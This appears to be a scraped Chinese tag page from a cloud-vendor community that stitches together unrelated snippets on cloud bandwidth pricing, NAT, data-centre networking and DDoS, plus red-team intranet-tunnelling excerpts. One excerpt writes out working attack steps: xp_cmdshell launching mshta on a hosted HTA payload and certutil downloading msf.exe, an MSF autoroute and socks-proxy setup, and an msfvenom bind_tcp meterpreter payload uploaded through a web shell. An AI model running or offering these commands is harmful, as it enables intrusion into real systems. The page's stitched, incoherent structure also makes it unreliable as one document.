当红队人员在进行内网渗透时，经常会遇到目标主机不出网的场景，而主机不出网的原因有很多，常见的原因例如目标主机未设置网关，被防火墙或者其他防护设备拦截设置了出入站策略，只允许特定协议或端口出网等。当我们遇到这种情况时，可以通过本章节中所讲到的方法，利用各种包含该协议的方式探测目标主机允许哪些协议出网，根据探测到的协议信息进行隧道穿透。在已经获取到目标系统的权限前提下，可以通过下述所讲到的各种协议探测手段来进行探测是否出网。
腾讯云服务器计费标准其中一项就是宽带计费，计费模式有按带宽计费与使用流量两种，那么这两种计费模式有什么区别？在购买时应该如何选择是很多新手用户都想了解的问题，下面腾讯云优惠网来详细解读一下按带宽计费与使用流量计费。
解决网络不通讯问题 代理与隧道技术： 代理： 流量转发至跳板机，可以是服务器或者肉鸡，最主要的特征是，无论代理后面挂了几个设备，代理对外只表现为一个设备。 隧道： 是通过特定的通讯方法，直接找到这个目标 reverse_tcp:反向 后门主动连接自己服务器 目标防火墙 出 bind_tcp:正向 自己服务器主动连接后门 目标防火墙 入
云服务器除了硬件配置外，带宽也十分重要，它宽决定了服务器承载流量的能力。以腾讯云Lighthouse应用服务器的1核1G套餐为例为例，在购买时会显示带宽为 3 Mbps，这里的带宽是指出网带宽上限，也叫下行带宽上限，即从云服务器流出的带宽。用户购买的带宽小于10Mbps时，腾讯云会分配10Mbps外网入方向带宽（即入网上行带宽）。对于公网带宽上限的解释可参考：公网带宽上限
广电行业除了提供家庭广播电视业务，还向ISP租用链路开展宽带用户上网、服务器托管等网络接入服务。此时网络出口处通常部署防火墙作为出口网关提供Internet接入及安全保障功能。
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项： 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的，所以在不出网主机上无法访问和执行，最终导致无法上线。 思路拓展： bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多，都要用到MSF虚拟路由，只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事，不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由，再用MSF中的Socks模块开一个Socks代理，设置选项可以不做修改，直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件，在底部填入127.0.0.1和1080端口，然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功？ proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件，通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole，配置好handler监听模块bind_tcp相关选项执行监听，在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向：
目前数据中心流行的是 CLOS 网络架构：Spine+Leaf 网络架构，如下图所示：
AI ECN（Artificial Intelligence Explicit Congestion Notification）是一种根据现网流量模型，智能地调整无损队列的ECN门限的功能，可以保障零丢包下的低时延和高吞吐，以使无损业务达到最优性能。
我们对TCP三次握手谙熟于心，但你确定服务器收到SYN包之后一定返回SYN/ACK吗？
在很多场景中，比如企业、学校、甚至家里都有一些对外访问的业务提供，比如门户网址、NAS、ERP等，在实际部署中，这些提供访问的服务器都属于内网内，配置的是内网地址，导致的情况是公网用户没法对私网地址直接进行访问，学过上篇内容的源NAT功能是把私网用户的源地址转换成可上网的地址（当然可上网的就分私网跟公网了，由运营商分配的）然后发送出去，那么NAT Server的作用正好相反， 它是当其他公网用户访问我们服务的公网地址时候，进行目的地址转换（注意一定要是公网地址），在华为防火墙里面的这个功能叫做---NAT server（服务器映射），可能大家都奇怪，为什么标题里面有端口映射、甚至DMZ，这个主要是各个厂商的叫法不一样，可能客户只会某一种叫法，导致在了解需求的时候，有点懵！不过不要紧，学完本篇后就都会很清晰了，下面来看看多个场景下使用什么样的技术。
判断：445通讯 通过端口扫描是否开放445端口进行判断 上线：借助通讯后绑定上线 详见往期文章 通讯：直接SMB协议通讯即可
我们在设计一个园区网络的时候，园区网络的出口需要和运营商的网络进行对接，从而提供internet服务。
腾讯云轻量4核8G12M应用服务器带宽优惠价446元一年，518元15个月，12M公网带宽下载速度峰值可达1536KB/秒，折合1.5M/s，每月2000GB月流量，折合每天66GB，系统盘为180GB SSD盘，地域节点可选上海、广州或北京，4核8G服务器网来详细说下腾讯云轻量应用服务器4核8G12M配置、优惠价格、CPU型号处理器主频、限制条件、公网带宽、月流量详细性能评测：
当在专用网内部的一些主机本来已经分配到了本地IP地址（即仅在本专用网内使用的专用地址），但现在又想和因特网上的主机通信（并不需要加密）时，可使用NAT方法。
判断域名解析是否支持ipv6 找一台支持ipv6网络的客户端电脑，仅使用ipv6网络来ping网站域名，如果解析域名返回的ip地址不是ipv6，则说明域名ipv6解析未做。编译nginx
DDoS（Distributed Denial of Service，分布式拒绝服务）主要通过大量合法的请求占用大量网络资源，从而使合法用户无法得到服务的响应，是目前最强大、最难防御的攻击之一。
NAT技术使得一个私有IP地址网络可以通过合法的公网IP连接到公网，同时将内部网络的IP地址隐藏起来不被外界发现，对内部网络设备起到保护的作用，同时，它还帮助网络可以超越地址的限制，合理地安排网络中的公有IP地址和私有IP地址的使用
当我们需要配置 Web 服务器，或是购买云服务器时，通常带宽选择上会带来一定的困惑，一般的云服务器基础配置都是 1Mbps 起步的带宽，根据实际需求最多可以加到 200Mbps 甚至更高，同时对于云服务器费用来说，最贵的也是带宽费用，所以合理的选择带宽是节约服务器成本的重要且必要的一环。
载均衡设备厂商在国内外有很多，国际上评价较高的有F5和Radware2大厂商，在国内做的比较好的有深信服（在性能上可以做到和F5媲美），华三也做但市场占有率略低于深信服。
当拿到权限之后，做完本地信息收集，最重要的就是做个隧道，对内网进行下一步攻击，这里简单介绍几个常用的工具，主要针对于出网和不出网两种情况。 出网情况 拿到服务器权限之后，遇见这种机器，十分简单，针对不同情况搭建不同隧道，为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等，本文简单介绍几个常用工具。 frp frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到
当前云计算技术已经成为数据中心基本部署要求，针对云计算中对网络虚拟化的需求，业界厂家提出了各种解决思路，SDN网络技术得到了大力发展，具有资源虚拟化、自动化等特点，成为IT基础架构改革中不可或缺的一部分。早期纯软件的SDN技术虽然可以随云而动实现业务网络自动部署，但在性能、功能、稳定性、可扩展性等方面存在较大的限制。 在数据中心虚拟化多租户环境中部署和配置网络设施是一项复杂的工作，不同租户的网络需求存在差异，且网络租户是虚拟化存在，和物理计算资源位置无固定对应关系。通过传统手段部署物理网络设备
高清视频直播和云计算的蓬勃发展，带来互联网流量持续高速增长，主流云公司的Internet出口带宽都已经达到Tbps级别。 鉴于网络的拥堵大部分发生在出口互联，Edge Peering Fabric的架构设计直接影响到终端客户的用户体验， 2017年Google/Facebook对外发布了两种不同的Edge 设计理念，本文试着以Google Espresso为主详解下一代Cloud Edge的架构，并简单介绍一下Facebook Edge Fabric。
定时自动清理/var/spool/clientmqueue/目录垃圾文件，放置inode节点被占满
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据，还能够将其他TCP端口的网络数据通过SSH连接进行转发，并且自动提供了相应的加密及解密服务，这一过程被叫做“SSH隧道” (tunneling)。
11月1日起，俄罗斯进行“RuNet”测试，验证该国网络在“与世隔绝”下的运作能力。
随着Internet的发展和网络应用的增多，IPv4地址枯竭已经成为制约网络发展的瓶颈。尽管IPv6可以从根本上解决IPv4地址空间不足的问题，但目前众多的网络设备和网络应用仍是基于IPv4的，因此在IPv6广泛应用之前，一些过渡技术的使用是解决这个问题的主要技术手段。
近期点量小芹在交流中，遇到教育场景下视频加密播放的诉求，结合多年的经验和技术的建议，整理了TV端视频加密播放器解决方案分享给有需要的朋友：
当我们在外网打下一个点，通过arp，netstat，以及ifconifg（ipconfig）等信息收集，发现此点为dmz，可通内网，那么这时候我们需要在此点上搭建通向内网的隧道，为内网渗透打下坚实基础。
之前在网络上看到大多都使用socat这个工具进行流量转发，但最近和一些师傅交流了解到，有时候使用socat进行转发的时候其稳定性以及速率可能不是那么好，对于流量比较多的情况也许可以使用iptables进行此操作，同时对cs服务器设定一些访问策略，对真实的cs服务器起到一定保护作用。这里简单说一下iptables在此场景的使用，各位师傅如有其他的思路或者工具还请多多交流
前面提到，随着服务器核数的激增，虚拟化已经成为数据中心的必备组件。而为了批量管理大量的虚拟机，又出现了开源云计算平台——OpenStack，以及基于OpenStack的大量商业化发行版本，如H3C CloudOS, Easystack，九州云等。事实上，OpenStack已经成为云计算的业界标准。
ATT&CK视角下的红蓝对抗：四. 内网穿透之通过Earthworm(EW)进行隧道穿透
TGW全称Tencent Gateway，是一套实现多网统一接入，支持自动负载均衡的系统， 是公司有10+年历史的网关，因此TGW也被称为公司公网的桥头堡。它对外连接了各大运营商并支撑公有云上EIP、CLB等产品功能，对内提供了公网网络的接入功能，如为游戏、微信等业务提供公网接入服务。
PingTunnel是一款常用的ICMP隧道工具 下载地址：https://github.com/esrrhs/pingtunnel/releases 下载对应系统的PingTunnel
那么什么是拒绝服务（Denial of Service）呢？可以怎么理解，凡是能导致合法用户不能正常访问网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确，就是要阻止合法用户对正常网络的访问，从而达成攻击者不可告人的目的。
CDN是通过在全球范围内分布式地部署边缘服务器将各类互联网内容缓存到靠近用户的边缘服务器上，从而降低用户访问时延并大幅减少穿越互联网核心网的流量。互联网业务使用CDN已经成为一种必然的选择。传统网站防护基本上都是保护源站，客户购买防火墙、WAF等产品就可以保护自己核心业务的内容不被恶意窃取。但传统防护方式并不能完全满足业务流量通过CDN分发的场景：
数据中心网络是企业IT创建私有云和混合云架构战略中的关键组成部分，它能够改进数据中心的网络的自动化、敏捷性、安全性和分析能力，能够实现企业自有应用程序与公共云服务的无缝集成。随着时间的推移，前沿软件将会逐渐向基于意图的数据中心网络转变，以实现全面自动化和快速修复应用性能问题。
比如有这样的情况，客户是专门做影视的，渲染服务器在国内，拍摄组分布在欧洲各地，每天产生的数据高达500G，需要传到云服务器进行转码渲染，处理后数据差不多300G，然后再传回本地做备份
在可预见的未来5G网络数据量激增的背景下，为了满足更高带宽、更低时延等用户体验，移动边缘计算（MEC）技术正在引起业界相当多的重视。结合 5G网络发展趋势分析了MEC的关键技术及其对5G的促进作用，就MEC的 典型应用场景进行了举例说明，并给出了从4G到5G网络的MEC平滑过渡部署建议。
本文主要用到的工具软件有《网页自动操作通用工具》或《网页自动刷新监控工具》，其中《网页自动操作通用工具》包含《网页自动刷新监控工具》所有功能，所以主要以前者为例说明。请自行在网上搜索和下载软件。
国际出口带宽，一般是指国家的互联网国际出口的带宽，也就是国家的互联网主干光纤的出口带宽。互联网由小网络组成的，有局域网，城域网，省网，集团骨干网，中国的所有网络又构成一个大的网络，这些中国网络要连接世界网络，于是就有了国际出口带宽，带宽越大，带宽负载能力越强，访问国外的网站速度越快。
DNSPOD即将推出域名特价活动。 9月9日，DNSPOD将推出域名特价活动，疯抢6天。5折域名注册券免费抢，每天限量50名。早起的用户有好运哦~10元域名注册券免费领，注册域名即送CDN流量包和8.8折域名解析套餐优惠券。 苹果发布会太遥远，来这里，一起嗨。 饿了么完成6.3亿美元融资。 8月28日，饿了么宣布完成6.3亿美元新一轮融资，创下全球外卖平台单笔融资金额的最高纪录。 作为DNSPOD的VIP用户，小编希望饿了么在外卖O2O之路上继续狂奔。 大麦网回应数据泄露：这是去年的事情。 8月27日，有消
从技术层面来讲，隧道是一种通过互联网的基础设施在网络之间传递数据的方式，其中包括数据封装、传输和解包在内的全过程,使用隧道传递的数据(或负载)可以使用不同协议的数据帧或包。
作为年轻人的潮流聚集地，Qzone在每个特殊的日子总会迎来一波猛烈的流量冲击。比如刚过去的520，下图是今年5月20号的流量情况：
这份Checklist需要遇到实战足够的坑才能形成这份文档，所以发起邀请渗透师同共完成 "渗透操作红线列表"。在https://github.com/EvilAnne/Violation_Pnetest的Issues提交，经过审核有价值的，才会添加进来。
项目的登录接口 /User/loginPage 从凌晨4点到下午1点一直有5k QPS的流量在压，询问了所有的压测团队，并没有在进行压测。这么大的流量影响到了现网环境，需要立刻找到原因，关闭掉异常流量。
腾讯云轻量服务器和云服务器有什么区别？为什么轻量应用服务器价格便宜？是因为轻量服务器CPU内存性能比云服务器CVM性能差吗？轻量应用服务器适合中小企业或个人开发者搭建企业官网、博客论坛、微信小程序或开发测试环境，云服务器CVM适合更复杂如高并发网站、大数据计算、机器学习等复杂应用场景。轻量服务器网从性能测试、网络带宽、计费价格、应用搭建及适合用户等方面来详细说明腾讯云轻量应用服务器和云服务器CVM区别：
相似性度量算法在局域网监控软件中的应用是非常广泛的！就像网络的小助手，可以帮管理员更轻松地搞定设备和流量的事情，还可以让网络更稳、更快、更安全。接下来就让我们一起来探索相似性度量算法在局域网监控软件中的应用吧：
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
